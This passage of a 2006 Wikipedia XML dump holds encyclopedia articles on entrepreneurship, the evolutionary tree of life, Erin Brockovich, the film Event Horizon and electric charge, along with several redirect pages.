Many &quot;high-profile&quot; entrepreneurial ventures seek [[venture capital]] or [[angel investors|angel funding]] in order to raise [[capital (economics)|capital]] to build the business. Many kinds of organizations now exist to support would-be entrepreneurs, including specialized government agencies, [[business incubator]]s, [[science park]]s, and some [[Non-governmental organization|NGO]]s.

Our understanding of entrepreneurship owes a lot to the work of economist [[Joseph Schumpeter]] and the [[Austrian School]] of [[economics]]. For Schumpeter (1950), an entrepreneur is a person who is willing and able to convert a new idea or [[invention]] into a successful [[innovation]]. Entrepreneurship forces &quot;[[creative destruction]]&quot; across markets and industries, simultaneously creating new products and [[business model]]s and eliminating others. In this way, creative destruction is largely responsible for the dynamism of industries and long-run economic growth.

For Frank H. Knight (1967) and [[Peter Drucker]] (1970) entrepreneurship is about taking [[risk]]. The entrepreneur is the kind of person that is willing to put his career and financial security on the line for an idea, spending his time and [[capital (economics)|capital]] in an uncertain venture. Still another view of entrepreneurship is that it is the process of discovering, evaluating and exploiting opportunities. An entrepreneur could be defined as &quot;someone who acts without regard to the resources currently under his control in relentless pursuit of opportunity &quot; (Jeffry Timmons).

[[Image:entrepreneurship history.png|right|thumb|250px| Some notable persons and their works in entrepreneurship history]]

Pinchot (1985) coined the term '''intrapreneurship''' to describe entrepreneurial activities inside large organizations.

Howard Stevenson, of Harvard University, believes that entrepreneurship is the &quot;pursuit of opportunity without regard to resources currently controlled&quot;.

Entrepreneurship is often regarded as a defining characteristic of American life. [[Robert N. Sobel]] published ''The Entrepreneurs: Explorations Within the American Business Tradition'' in 1974.

A study published by Regan Sydney and Jacob showed that the characteristics of successful entrepreneurship are perceived in different ways; investors, &quot;intranpreneurs&quot;, and founders of young companies agree on many ideas, but have important differences, too.  For example, founders tend to believe that tenacity is an important trait more frequently than investors.  Investors tend to put slightly more emphasis on personal integrity than founders.

==The entrepreneurial personality==

Entrepreneurs have many of the same character traits as [[leadership|leaders]]. They are often contrasted with managers and administrators who are said to be more methodical and less prone to risk-taking. A vast literature studying the ''entrepreneurial personality'' has found that certain traits seem to dominate in the case of entrepreneurs:

* According to [[David McClelland]] (1961), the entrepreneur is primarily motivated by an overwhelming need for achievement. He has a strong &quot;urge to build&quot;.
* Collins and Moore (1970) studied 150 entrepreneurs and concluded that they are tough, pragmatic people driven by needs of independence and achievement. They seldom are willing to submit to authority.
* Bird (1992) sees entrepreneurs as Mercurial, that is, prone to insights, brainstorms, deceptions, ingeniousness and resourcefulness. They are cunning, opportunistic, creative, and unsentimental.
* Busenitz and Barney (1997) claim entrepreneurs are prone to overconfidence and over generalisations.
* According to Cole (1959), there are four types of entrepreneur: the innovator, the calculating inventor, the over-optimistic promoter, and the organisation builder. These types are not related to the personality but to the type of opportunity the entrepreneur faces.
* [[Burton W. Folsom, Jr.]] distinguishes between what he calls a &quot;[[political entrepreneur]]&quot; and a ''market entrepreneur''. The political entrepreneur uses political influences to gain [[income]] through [[subsidies]], [[protectionism]], [[government-granted monopoly]], government contracts, or other such favorable arrangements with government(s) (see ''[[crony capitalism]]'' and ''[[corporate welfare]]''). The market entrepreneur operates without special favors from government.

==Typical characteristics of entrepreneurship==

* There is a [[leader]], the entrepreneur, who is the driving force behind economic events.
* Inside the mind of this entrepreneur is a vision of a future state that is preferred to the present state.
* Through a semiconscious process of intuition and insight, rooted in experience, the entrepreneur develops this vision and a strategy of how to implement it.
* This vision is promoted diligently and passionately by the entrepreneur. The job for many provides a feeling of being &quot;alive&quot; or the satisfaction of serving society.
* The strategy is deliberate and the overall vision is clear, however details may be malleable, incomplete, and emergent.
* Entrepreneurial strategies tend to go along with simple centralised organisational structures that respond quickly to the entrepreneur's directives.
* Entrepreneurial strategies tend to be used in niche markets that have not been noticed by the large industry leaders.

The above list presents several ideas as to why someone becomes an entrepreneur, some of which belong to the so-called ''psychological theories'' of entrepreneurship, which basically suggests that there are a number of psychological traits possessed by ''the entrepreneur'' which allow him or her to undertake such a task. Other points of the list belong to the ''neoclassical equilibrium theories'', that assume that markets are made up of maximising agents (see [[economics]]) and that there are no unnoticed business opportunities and that only the people who ''choose'' to become entrepreneurs do so - not because the opportunities themselves haven't been noticed by anyone else. The third school of thought is the ''Austrian theories''-school that claims business opportunities arise due to the fact that not everyone has the same amount of information and thus are not equipped to &quot;see&quot; the opportunities. For more about entrepreneurial opportunities from an academic standpoint, see for example the works of Scott A. Shane and Jonathan T. Eckhardt.

==Community entrepreneurship==

Community entrepreneurship is entrepreneurial education. Educational systems must be as concerned with family and community health as they are with individual students in classrooms and the health of the educational system itself. 

Too often entrepreneurship is seen as the process of finding capable individuals and providing nourishment (venture capital and know-how). Yet we know that some communities are far more successful than others in entrepreneurship and that such communities are also thriving economically even during times of economic downturn (Florida, 2002). We know that there are social entrepreneurs who invent new cultural systems, from the John Muir's work which led to the U.S. Park System to Florence Nightingale's fight for better patient conditions led to the field of nursing. Community entrepreneurship is about applying entrepreneurial principles to the process of creating a community that is highly supportive of entrepreneurship itself, both within classroom walls and without. We need new social entrepreneurs to invent those designs.

Community entrepreneurship seeks answers to related questions and seeks further related questions. 

What are the characteristics of communities that best support entrepreneurship? What measurements can we take to better make comparisons? What needs to be done to better address these factors in public school crriculum? How does the need for entrepreneurial inventiveness and creativity get supported with inventive and creative attitudes and skills in the schools? How much of the gifted and talented curriculum agenda is directly related to the needs and skills of entrepreneurs? How does the growth of creativity in the classroom lead to the growth of a creative (entrepreneurial) class? Given the strong digital foundation of the modern economy, how do computer literacy skills contribute? How is the heterarachical decentralized nature of Internet enterprise changing the nature of economic activity? What aspects of this digital economy need digital entrepreneurial skills? How should school curriculum weave computer literacy, creativity and entrepreneurship across the grade levels?

==See also==
* [[Entrepreneur]]
* [[Entrepreneurial Economics]]
* [[List of management topics]]
* [[Entrepreneurial education]]
* [[Political entrepreneur]]
* [[Social Entrepreneur]]
* [[Junior Enterprise]]
* [[Business incubators]]
* [[Business opportunity]]

==References==
* Bird, B. (1992)&quot;The Roman God Mercury: An Entrepreneurial Archetype&quot;, ''Journal of Management Enquiry'', vol 1, no 3, September, 1992.
* Busenitz, L. and Barney, J. (1997) &quot;Differences between entrepreneurs and managers in large organizations&quot;, ''Journal of Business Venturing'', vol 12, 1997.
* Cantillon, R. ''Essai sur la Nature du Commerce in Général''. 1759 [http://www.econlib.org/library/NPDBooks/Cantillon/cntNTContents.html] 
* Casson, M. (1982) ''The Entrepreneur: An Economic Theory'' Reprint. 1991. 
* Cole, A. (1959) ''Business Enterprise in its Social Setting'', Harvard University Press, Boston, 1959.
* Collins, J. and Moore, D. (1970) ''The Organization Makers'', Appleton-Century-Crofts, New York, 1970.
* Corrigan, S (2005) &quot;The Entrepreneur's Guide to the Business cycle&quot; [http://www.sagecapital.com/Archiv/c272.pdf]
* Drucker, P. (1970) &quot;Entrepreneurship in Business Enterprise&quot;, ''Journal of Business Policy'', vol 1, 1970.
* Florida, R. (2002) The Rise of the Creative Class: And How It's Transforming Work, Leisure, Community and Everyday Life.  Perseus Books Group. 
* Fulton Jr., Burton W. (1987) ''The Myth of the Robber Barons'', Young America.
* Hebert, R.F. and Link, A.N. (1988)  The Entrepreneur: Mainstream Views and Radical Critiques. New York: Praeger, 2nd edition. 
* Knight, K. (1967) &quot;A descriptive model of the intra-firm innovation process&quot;, ''Journal of Business of the University of Chicago'', vol 40, 1967.
* McClelland, D. ''The Achieving Society'', Van Nostrand, Princeton NJ, 1961.
* Pinchot, G. (1985) ''Intrapreneuring'', Harper and Row, New York, 1985.
* Schumpeter, J. (1950) ''Capitalism, Socialism, and Democracy'', 3rd edition, Harper and Row, New York, 1950.
* Shane S., (2003) ''A general theory of entrepreneurship : the individual-opportunity nexus / Scott Shane'' New horizons in entrepreneurship series, Edward Elgar Pub

==External links== 
Community Forums:
* [http://www.youngentrepreneur.com Young Entrepreneur Forum with resources]
* [http://www.youngentrepreneur.com.au Young Entrepreneur Forum]
* [http://www.younggogetter.com Young Go Getter]
* [http://www.zeromillion.com/talk/ Entrepreneurship]

Organisations:
* [http://www.aiesec.org AIESEC]
* [http://www.jadenet.org JADE European Confederation of Junior Enterprises]

Other Links:
*[http://westaction.org/definitions/def_entrepreneurship_1.html Definitions of entrepreneuership]
* [http://www.strategytree.com/wiki/Main_Page Funding Universe StrategyTree Wiki] is a network for angel investors and entrepreneurs, to extract thousands of successful ideas and business tactics used by actual entrepreneurs, and to place them in a decision tree.
*[http://www.econlib.org/library/Enc/Entrepreneurship.html Reference article on Entrepreneurship] by Mark Casson
* [http://www.lemonadestories.com/ Award-winning film, LEMONADE STORIES, on entrepreneurs and their mums] by [[Mary Mazzio]]
*[http://www.asian-nation.org/small-business.shtml Asian-Nation: Asian American Entrepreneurship] by C.N. Le, Ph.D.
*[http://www.npost.com Entrepreneur Interviews] nPost.com
*[http://www.quebecoislibre.org/000718-11.htm Entrepreneurship Properly Understood]
* [http://www.ruf.rice.edu/~ita/resources.html University and College Entrepreneur Societies]
*[http://www.sba.gov US Small Business Administration] 
*[http://artsentrepreneurship.com Artistic Entrepreneurship]
[[Category:Organizational studies and human resource management]]

[[de:Entrepreneurship]]
[[et:Ettevõtlus]]
[[fr:Entrepreneuriat]]
[[nl:Ondernemerschap]]
[[he:יזמות עסקית]]
[[ja:企業家]]
[[pl:Przedsiębiorczość]]
[[pt:Empreendedorismo]]
[[sk:Podnikanie]]
[[fi:Yrittäjyys]]</text>
    </revision>
  </page>
  <page>
    <title>Evolutionary tree</title>
    <id>9794</id>
    <revision>
      <id>39939411</id>
      <timestamp>2006-02-16T23:31:15Z</timestamp>
      <contributor>
        <username>Samsara</username>
        <id>19527</id>
      </contributor>
      <comment>/* More examples */ +origin of life template</comment>
      <text xml:space="preserve">{{mergeto|Phylogenetic tree}}

The '''evolutionary tree''' of living things is currently supposed to run something along the lines of that listed below. Most of the tree was based on ideas from [[cladistics]]; where more than two groups are shown in a single branch, there is disagreement about how they diverged.  Hypothetically [[taxonomy]] would follow the tree whenever possible, but in many places it does not at present.

The description as a &quot;tree&quot; results from earlier ideas of life as a progression from lower to higher forms. Although such views are discredited now, the imagery is too well established to be readily lost.

* [[Life]]
** Domain [[Eubacteria]]
***[[Actinobacteria]]
***[[Aquificae]]
***[[Bacteroidetes]]/[[Chlorobi]] group
***[[Chlamydiae]]/[[Verrucomicrobia]] group
***[[Chloroflexi]]
***[[Chrysiogenetes]]
***[[Cyanobacteria]]
***[[Deferribacteres]]
***[[Deinococcus-Thermus]] group
***[[Dictyoglomi]]
***[[Fibrobacteres]]/[[Acidobacteria]] group
***[[Firmicutes]]
***[[Fusobacteria]]
***[[Gemmatimonadetes]]
***[[Nitrospirae]]
***[[Planctomycetes]]
***[[Proteobacteria]]
***[[Spirochaete]]
***[[Thermodesulfobacteria]]
***[[Thermomicrobia]]
***[[Thermotogae]]
***[[unclassified Bacteria]]
***...
** Domain [[Archaea]]
***[[Crenarchaeota]] (extremely thermophilic archaebacteria) 
***[[Euryarchaeota]] 
***[[Korarchaeota]]
***[[Nanoarchaeota]] 
** Domain [[Eukaryote|Eukaryota]], organisms with cells containing a nucleus
*** [[Opisthokont]]s
**** '''Kingdom [[Animal]]ia''' - animals
**** [[Choanoflagellate]]s
**** [[Nucleariid]]s
**** '''Kingdom [[Fungus|Fungi]]''' - fungi
*** [[Amoebozoa]]
*** [[Rhizaria]]
**** [[Cercozoa]]
**** [[Foraminifera]]
**** [[Polycystine]]a
**** [[Acantharea]]
**** ''[[Sticholonche]]''
*** [[Excavate]]s
**** [[Retortamonad]]s
**** [[Diplomonad]]s
**** [[Oxymonad]]s
**** [[Parabasalid]]s
**** [[Jakobid]]s
**** [[Heterolobosea]]
**** [[Euglenozoa]]
*** &quot;Plants&quot;
**** '''Kingdom [[Plant]]ae''' - green plants
**** [[Red alga]]e
**** [[Glaucophyte]]s
*** [[Heterokont]]s
*** [[Alveolate]]s
**** [[Ciliate]]s
**** [[Apicomplexa]]
**** [[Dinoflagellate]]s
**** [[Ellobiopsid]]s
*** ''[[Stephanopogon]]''
*** [[Apusomonad]]s
*** [[Kathablepharid]]s
*** [[Pseudodendromonad]]s
*** [[Spironemid]]s
*** [[Copromyxid]]s
*** [[Vampyrellid]]s
*** [[Dimorphid]]s
*** [[Gymnosphaerid]]s
*** [[Ebriid]]s
*** [[Haptophyte]]s
*** [[Xenophyophorea]]
*** [[Cryptomonad]]s
*** [[Centrohelid]]s

==See also==
* [[Animal evolution]]
* [[Evolution]] 
* [[Evolution of multicellularity]]
* [[Phylogeny]]
* [[Phylogenetic tree]]
* [[Taxonomy]]
*[[:Wikipedia:WikiProject_Tree_of_Life|WikiProject Tree of Life]]

== External links ==
* http://tolweb.org/tree/phylogeny.html The Tree of Life &amp;#151; A multi-authored, distributed Internet project containing information about phylogeny and biodiversity
* In 2003, the [[Science_(journal)|''Science'']] journal dedicated a special issue to the tree of life, including an [http://www.sciencemag.org/feature/data/tol/ online version of a tree of life].

== More examples ==
* http://www.aisee.com/graph_of_the_month/jura.htm &amp;#151; The most detailed and comprehensive family tree of dinosaurs yet available
* http://www.omne-vivum.com tree of life with lots of pictures

{{origin_of_life}}

[[Category:Phylogenetics]]
[[da:Systema naturae]]
[[de:Evolutionärer Stammbaum]]
[[fr:Syst%E9matique]]
[[nl:Classificatie en Evolutie]]
[[pl:Drzewo &amp;#380;ycia (biologia)]]
[[pt:Árvore da vida (biologia)]]
[[sv:Systema naturae]]
[[zh:演化樹]]</text>
    </revision>
  </page>
  <page>
    <title>Evolutionary tree/Animalia</title>
    <id>9795</id>
    <revision>
      <id>15907661</id>
      <timestamp>2003-06-07T05:22:01Z</timestamp>
      <contributor>
        <username>Tim Starling</username>
        <id>4635</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Animal]]</comment>
      <text xml:space="preserve">#REDIRECT [[Animal]]</text>
    </revision>
  </page>
  <page>
    <title>Evolutionary tree/Chordata</title>
    <id>9797</id>
    <revision>
      <id>15907663</id>
      <timestamp>2003-06-07T05:23:35Z</timestamp>
      <contributor>
        <username>Tim Starling</username>
        <id>4635</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Chordate]]</comment>
      <text xml:space="preserve">#REDIRECT [[Chordate]]</text>
    </revision>
  </page>
  <page>
    <title>Evolutionary tree/Sarcoptergii</title>
    <id>9798</id>
    <revision>
      <id>15907664</id>
      <timestamp>2003-06-07T05:25:40Z</timestamp>
      <contributor>
        <username>Tim Starling</username>
        <id>4635</id>
      </contributor>
      <comment>#REDIRECT [[Sarcopterygii]]</comment>
      <text xml:space="preserve">#REDIRECT [[Sarcopterygii]]</text>
    </revision>
  </page>
  <page>
    <title>Erin Brockovich</title>
    <id>9799</id>
    <revision>
      <id>41542272</id>
      <timestamp>2006-02-28T01:19:05Z</timestamp>
      <contributor>
        <ip>70.174.12.3</ip>
      </contributor>
      <text xml:space="preserve">{{dablink|For alternate uses see [[Erin Brockovich (film)]]}}

'''Erin Brockovich-Ellis''' (born [[June 22]] [[1960]]) is a woman who, despite the lack of a formal law school education, in 1993 was instrumental in  constructing a case against the [[United States dollar|US$]] 30 billion [[Pacific Gas &amp; Electric Company]] (PG&amp;E), of [[California]], alleging contamination of drinking water with [[hexavalent chromium]] in the southern California town of [[Hinkley, California|Hinkley]]. At the center of the case is a facility called the Hinkley Compressor Station, part of a natural gas pipeline connecting to the San Francisco Bay Area and constructed in 1952. The case was settled in 1996 for $333 million, the largest settlement ever paid in a [[class action lawsuit]] in [[United States|U.S.]] history.

Continuing to work with the [[Thousand Oaks, California]]-based lawyer [[Ed Masry]], she went on to participate in other anti-pollution lawsuits. One accuses [[Whitman Corp.]] of chromium contamination in [[Willits, California]], and another with 1200 plaintiffs alleges contamination near PG&amp;E's Kettleman Hills Compressor Station in [[Kings County, California|Kings County]]. (The facility is located along the same pipeline as the Hinkley site.) 

After experiencing problems with mold contamination in her own home in the [[Conejo Valley]], Brockovich became a prominent activist and educator in this area as well.  Today, Brockovich is a noted speaker in demand all over the U.S.

Brockovich was born '''Erin L.E. Pattee''' and raised in [[Lawrence, Kansas]], and attended [[Kansas State University]] in [[Manhattan, Kansas]]. She has lived in California since 1982.

Her story is the topic of a feature film, ''[[Erin Brockovich (film)|Erin Brockovich]]'', with [[Julia Roberts]] starring as Erin Brockovich. The film became very sucessful, and was nominated for many [[Academy Award]]s including the [[Academy Award for Best Picture]]. Also, [[Julia Roberts]] won the [[Academy Award for Best Actress]] for her portrayal of Erin Brockovich.

==Sources==
Coleman, Charles M., ''P. G. and E. of California; the centennial story of Pacific Gas and Electric Company, 1852-1952,'' (New York: McGraw-Hill, 1952).

==External links==
* [http://www.masryvititoe.com/erin_brockovich.shtml &quot;Masry &amp; Vititoe&quot;] Masry &amp; Vititoe website biography
* [http://www.fumento.com/erinwsj.html &quot;'Erin Brockovich,' Exposed&quot;] by Michael Fumento 
* [http://www.fumento.com/brocklett.html Erin Brockovich's response to &quot;Exposed&quot;] &amp; Fumento's rebuttal
* [http://www.rwu.edu/NR/rdonlyres/7891D96A-3C78-4571-B350-647A52743609/1211/BrockovichErin.jpg] Current Picture
[[Category:1960 births|Brockovich, Erin]]
[[Category:Living people|Brockovich, Erin]]
[[Category:People from the Greater Los Angeles Area|Brokovich, Erin]]
[[Category:People from Kansas|Brokovich, Erin]]

[[de:Erin Brockovich]]
[[fi:Erin Brockovich]]</text>
    </revision>
  </page>
  <page>
    <title>El dia de los muertos</title>
    <id>9801</id>
    <revision>
      <id>15907667</id>
      <timestamp>2002-05-17T21:55:26Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Day of the Dead]]</comment>
      <text xml:space="preserve">#redirect [[Day of the Dead]]</text>
    </revision>
  </page>
  <page>
    <title>Event Horizon</title>
    <id>9803</id>
    <revision>
      <id>40776820</id>
      <timestamp>2006-02-22T23:15:39Z</timestamp>
      <contributor>
        <username>Wikiborg</username>
        <id>13798</id>
      </contributor>
      <minor />
      <comment>Typo</comment>
      <text xml:space="preserve">:''This article is on the film Event Horizon.  For the physics term, see [[event horizon]].''


{{Infobox Film | name = Event Horizon
  | image = Eventhorizonpic.jpg
  | caption = Event Horizon VHS cover
  | director = [[Paul W. S. Anderson]]
  | producer = [[Jeremy Bolt]]&lt;br /&gt;[[Lawrence Gordon]]&lt;br /&gt;[[Lloyd Levin]]
  | writer = [[Philip Eisner]]
  | starring = [[Laurence Fishburne]]&lt;br /&gt;[[Sam Neill]]&lt;br /&gt;[[Kathleen Quinlan]]&lt;br /&gt;[[Joely Richardson]]
  | music = [[Michael Kamen]]
  | cinematography = [[Adrian Biddle]]
  | editing =
  | distributor = [[Paramount Pictures]]
  | released = [[August 15]]th, [[1997]] ([[USA]])
  | runtime = 95 min.
  | language = [[English language|English]]
  | budget = 
  | imdb_id = 0119081
}}

'''''Event Horizon''''' is a [[1997]] [[science fiction]] and [[horror film]].  It was directed by [[Paul W. S. Anderson]], written by [[Philip Eisner]], and stars [[Laurence Fishburne]], [[Sam Neill]], and [[Joely Richardson]].

== Plot summary ==
{{spoiler}}
In the year [[2047]], a rescue crew (on board the ship ''Lewis and Clark'') investigates the miraculous re-appearance of the spaceship (the ''Event Horizon'') that was supposedly destroyed in a disaster seven years earlier.  As they embark on this mission, they are informed by the ship's designer of the true story behind this &quot;accident.&quot;  It had in fact not exploded, as was reported, but had been a [[top secret]] ship designed to travel faster than the [[speed of light]].  It had a gravity drive on board which created an artificial [[black hole]] that &quot;folded space time&quot; thus creating a temporary gateway to any other point in the universe, instantaneously.  To test the new gravity drive, the ship was sent to a designated jump-point with the goal of reaching [[Proxima Centauri]] (a star relatively close to the [[Sol|Sun]]) and had then vanished.  When they board the ship, they discover the truth about its disappearance and come to realize that it had brought back something absolutely horrifying from where it had been for those last seven years.

It turns out that the ship did indeed succeed in opening a gateway in [[space-time]] by using the gravity drive.  However, when it made the jump, it passed outside the known universe and into another dimension; a &quot;dimension of pure chaos, pure [[evil]].&quot;  This dimension is seen as analogous to the Judeo-Christian [[Hell]].  On inspection, the ship's log shows the original crew engaging the gravity drive and moments later, committing an [[orgy]] of [[torture]], [[cannibalism]], [[rape]], and depravity.  The captain of the original crew, who has by now torn out his own eyes, leaves an intially misinterpreted warning in [[Latin]] which, at first glance, appears to be ''Liberate me'' (&quot;Save me&quot;).  A clearer translation later reveals it to be ''Liberate tutamen ex inferis'' (&quot;Save yourself from Hell&quot;), evidence that he (at least) believed the ship had gone to Hell, literally.

==Rescue Mission==

In [[2047]], faint signals from the lost ''Event Horizon'' were picked up on [[Earth]], the ship had ended up on a low orbit around the planet [[Neptune]].  The rescue crew is assembled for a 9 month (56 day journey in sleep [[stasis]]) trip into deep space. 
[[Image:Eventstasis.jpg|thumb|left|215px|56 days to reach Neptune]]

When they reach Neptune’s high turbulent atmosphere, the ''Lewis &amp; Clark'''s detectors find no trace of human life onboard the floating ''Event Horizon'', instead it mysteriously seemed abandoned with strange life readings everywhere at the same time.  Assuming that the life scan is malfunctioning, they decide to try to find the crew by going onboard.  At the time the crew boards into the ship, there is zero gravity and cool temperatures.  After docking, Justin ([[Jack Noseworthy]]), the engineer, reaches the oval gravity drive (the heart of the ''Event Horizon'').  The gravity drive begins to activate, as if sensing his presence, and curiously, he sees a black liquid mirror in the gravity drive and touches it.  Suddenly, he is sucked into the mirror and a large [[shockwave]] flows throughout the ship, causing damage to the ''Lewis &amp; Clark'' which needs repair before it can make the return trip.  Cooper ([[Richard T. Jones]]) finally manages to pull Justin out of the liquid, but he was unconscious.  With the ''Lewis &amp; Clark'' heavily damaged, Captain Miller ([[Laurence Fishburne]]) has no choice but to lead the entire crew into the ''Event Horizon'' itself.  Although they succesfully reactivate [[life support]], heat, [[artificial gravity]], etc., the crew is now in danger themselves as they only have 20 hours worth of usable oxygen onboard the ''Event Horizon''.

Once onboard the ''Event Horizon'', the rescuers almost immediately begin to experience macabre visions exposing their inner demons and personal guilt.  Captain Miller (Fishburne) sees images of the comrade he was forced to leave behind in a fire; another person sees images of her son, whose legs are covered in sores.  Dr. William Weir ([[Sam Neill]]), the man who designed the ship, sees images of his deceased wife Claire who committed suicide, something which makes him feel intensely guilty (there is some indication that Weir's constant absence in their home due to his work contributed to her decision to cut her wrists and kill herself).  She urges him to &quot;join us&quot; so he can be reunited with her.  Upon exploring more of the ship, they find the bloody remains of some of the previous crew.  It eventually becomes clear that wherever the ship has been, it has brought back a presence with it which is methodically trying to drive these new arrivals [[insane]] by using their own personal torments against them.  The aim of this appears to be to compel them to re-engage the gravity drive and &quot;go back&quot; to Hell. 

[[Image:Eventdeadwife.jpg|thumb|right|150px|Dr. Weir's wife commits suicide]]

When Miller tells Weir that he plans to destroy the ship, the evil presence onboard delves into Weir's mind and manages to turn him completely and utterly demented.  The ship cruelly forces Weir to re-live Claire's horrific suicide, which finally drives him over the edge.  He, like the deceased captain before him, rips his eyes out and proudly announces &quot;where we're going, you won't need eyes to see&quot;.  Enlisting his aid, the ship uses Weir to destroy the ''Lewis &amp; Clark'' and then brutally kill any of the rescue party who try to stop him from activating the gravity drive.

Weir eventually dies by being sucked out into space by a ruptured window as he is trying to convince Miller and his surviving comrades that it is pointless to resist.  Following this, the ship appears to take direct command of things and reactivates the gravity drive by itself.  Miller makes an attempt to set off the explosives which will seperate the front of the ship from the gravity drive section at the rear.  He rushes to the gateway room only to discover his former comrade who burned to death standing in front of him.  Miller manages to overcome his demons and the figure dissipates, revealing Weir, who has been brought back by the ship:

&quot;''When she crossed over, she was just a ship, but when she came back, she was alive''&quot;

&quot;''The ship brought me back.  I told you she won't let me leave.  She won't let anyone leave''&quot;.

Completely possessed by the [[evil]] presence on board, Weir gleefully shows Miller what awaits him in Hell.  Images of the former crew being brutally tortured and all manners of violence being inflicted on their helpless, writhing forms.  &quot;'''Do you see?!!'''&quot; asks Weir thinking that he has won, &quot;Yes... I see.&quot; says Miller, revealing in his hands the detonator for the explosives.  Weir cries out too late as the ship explodes and separates in two, with the half carrying them plunging toward Neptune.  Moments later, the gravity drive is activated and Weir and Miller go back to Hell.  Starck and Cooper, together with comatose Justin, being in the remaining front half of the ship, survive their ordeal, but are haunted right up to the end.  When the rescue team arrives to help them, one of the crew (Richardson) sees the face of Weir as the soldier lifts up his mask.  As Starck snaps out of this delirium, it is revealed that they have been rescued.  As the scene pans out, the doors of the ship slowly slide themselves closed, leaving the viewer wondering whether the evil onboard the ''Event Horizon'' was ever truly destroyed.

== Cast ==
* [[Laurence Fishburne]] &amp;ndash; Capt. Miller
* [[Sam Neill]] &amp;ndash; Dr. William Weir
* [[Kathleen Quinlan]] &amp;ndash; Peters (Med Tech)
* [[Joely Richardson]] &amp;ndash; Lt. Starck (Executive Officer)
* [[Richard T. Jones]] &amp;ndash; Cooper (Rescue Tech)
* [[Jack Noseworthy]] &amp;ndash; Justin (Engineering)
* [[Jason Isaacs]] &amp;ndash; D.J. (Trauma)
* [[Sean Pertwee]] &amp;ndash; Smith (pilot)
* [[Peter Marinker]] &amp;ndash; Capt. John Kilpack
* [[Holley Chant]] &amp;ndash; Claire (Weir's wife)
* [[Barclay Wright]] &amp;ndash; Denny (Peters' son)
* [[Noah Huntley]] &amp;ndash; Burning man/Edward Corrick
* [[Robert Jezek]] &amp;ndash; Rescue 1 technician

== Soundtrack ==
The score of the film was written and performed by [[Orbital (band)|Orbital]] and [[Michael Kamen]]. The end credit theme was the song &quot;Funky Shit&quot; by [[The Prodigy]].  The movie was extensively sampled on [[Zao (band)|Zao]]'s [[1999]] album, ''[[Liberate Te Ex Inferis]]'', (a phrase which is similar to one that occurs in the dialog of ''Event Horizon'').  Several samples also appear in the song &quot;The Technogoat&quot; from ''The Codex Necro'' album by [[Anaal Nathrakh]] as well as on ''The Ichneumon Method'' album by [[The Axis of Perdition]].  Popular [[Trance_music|trance]] producer [[John Graham]] under the alias [[Space Manoeuvres]] created the track &quot;Stage One&quot; which took samples from the theatrical trailer of the film.

== External links ==
* {{imdb title|id=0119081|title=Event Horizon}}
*http://thecia.com.au/reviews/e/event-horizon.shtml (pictures)

[[Category:1997 films]]
[[Category:Horror films]]
[[Category:Science fiction films]]

[[de:Event Horizon – Am Rande des Universums]]

==Reference==

*http://www.rottentomatoes.com/m/event_horizon/</text>
    </revision>
  </page>
  <page>
    <title>Electric charge</title>
    <id>9804</id>
    <revision>
      <id>42126989</id>
      <timestamp>2006-03-04T00:17:44Z</timestamp>
      <contributor>
        <username>The tooth</username>
        <id>652482</id>
      </contributor>
      <minor />
      <comment>RV</comment>
      <text xml:space="preserve">{{backlink|electricity}}
{{Flavour quantum numbers}}

'''Electric charge''' is a fundamental conserved property of some [[subatomic particle]]s, which determines their [[electromagnetic interaction]]s.  Electrically charged matter is influenced by, and produces, [[electromagnetic field]]s. The interaction between charge and field is the source of the [[electromagnetic force]] which is one of the four [[fundamental force]]s. 

== Overview ==

Electric charge is a characteristic of subatomic particles, and is quantized. When expressed as a multiple of the so-called [[elementary charge]] ''e'', [[electron]]s have a charge of &amp;minus;1. [[Proton]]s have the opposite charge of +1. [[Quark]]s have a fractional charge of &amp;minus;1/3 or +2/3.  The [[antiparticle]] equivalents of these have the opposite charge.  There are other [[charged particle]]s.  

Electric charge of a [[macroscopic]] object is the sum of the electric charges of its constituent particles. Often, the net electric charge is zero, since naturally the number of electrons in every [[atom]] is equal to the number of the [[protons]], so their charges cancel out. Situations in which the net charge is non-zero are often referred to as [[static electricity]]. Furthermore, even when the net charge is zero, it can be distributed non-uniformly (e.g., due to an external [[electric field]]), and then the material is said to be [[polarization (electrostatics)|polarized]], and the charge related to the polarization is known as [[bound charge]] (while the excess charge brought from outside is called ''free charge''). An ordered motion of charged particles in a particular direction (typically these are the electrons) is known as [[electric current]].

The [[SI]] unit of electric charge is the [[coulomb]], which represents approximately 6.24 × 10&lt;sup&gt;18&lt;/sup&gt; [[elementary charge]]s (the charge on a single electron or proton).  The coulomb is defined as the quantity of charge that has passed through the cross-section of a [[conductor (material)|conductor]] carrying one [[ampere]] within one second.  The symbol ''Q'' is used to denote a quantity of electric charge. 

Electric charge can be directly measured with an [[electrometer]].  The discrete nature of electric charge was demonstrated by [[Robert Millikan]] in his [[oil-drop experiment]].

Formally, a measure of charge should be a multiple of the elementary charge ''e'' (charge is [[quantized]]), but since it is an average, [[macroscopic]] quantity, many orders of magnitude larger than a single elementary charge, it can effectively take on any [[real number|real value]].

== History ==

As reported by the Ancient Greek philosopher [[Thales of Miletus]] around [[600s BC|600 BC]], charge (or ''electricity'') could be accumulated by rubbing [[fur]] on various substances, such as [[amber]]. The Greeks noted that the charged amber buttons could attract light objects such as [[hair]].  They also noted that if they rubbed the [[amber]] for long enough, they could even get a spark to jump.  This property [[Wiktionary:derive|derives]] from the [[triboelectric effect]].  The word ''electricity'' derives from ''ηλεκτρον'' (electron), the Greek word for amber.

[[C. F. Du Fay]] proposed in [[1733]] [http://www.sparkmuseum.com/BOOK_DUFAY.HTM] that electricity came in two varieties which cancelled each other, and expressed this in terms of a two-fluid theory.  When glass was rubbed with silk, DuFay said that the glass was charged with ''vitreous electricity'', and when amber was rubbed with fur, the amber was said to be charged with ''resinous electricity''.

By the [[18th century]], the study of [[electricity]] had become popular.  One of the foremost experts was [[Benjamin Franklin]], who argued in favor of a one-fluid theory of electricity.  Franklin imagined electricity as being a type of invisible fluid present in all matter; for example he believed that it was the [[glass]] in a [[Leyden jar]] that held the accumulated charge.  He posited that rubbing insulating surfaces together caused this fluid to change location, and that a flow of this fluid constitutes an electric current.  He also posited that when matter contained too little of the fluid it was &quot;negatively&quot; charged, and when it had an excess it was &quot;positively&quot; charged.  Arbitrarily (or for a reason that was not recorded) he identified the term &quot;positive&quot; with vitreous electricity and &quot;negative&quot; with resinous electricity.  [[William Watson (scientist)|William Watson]] arrived at the same explanation at about the same time.

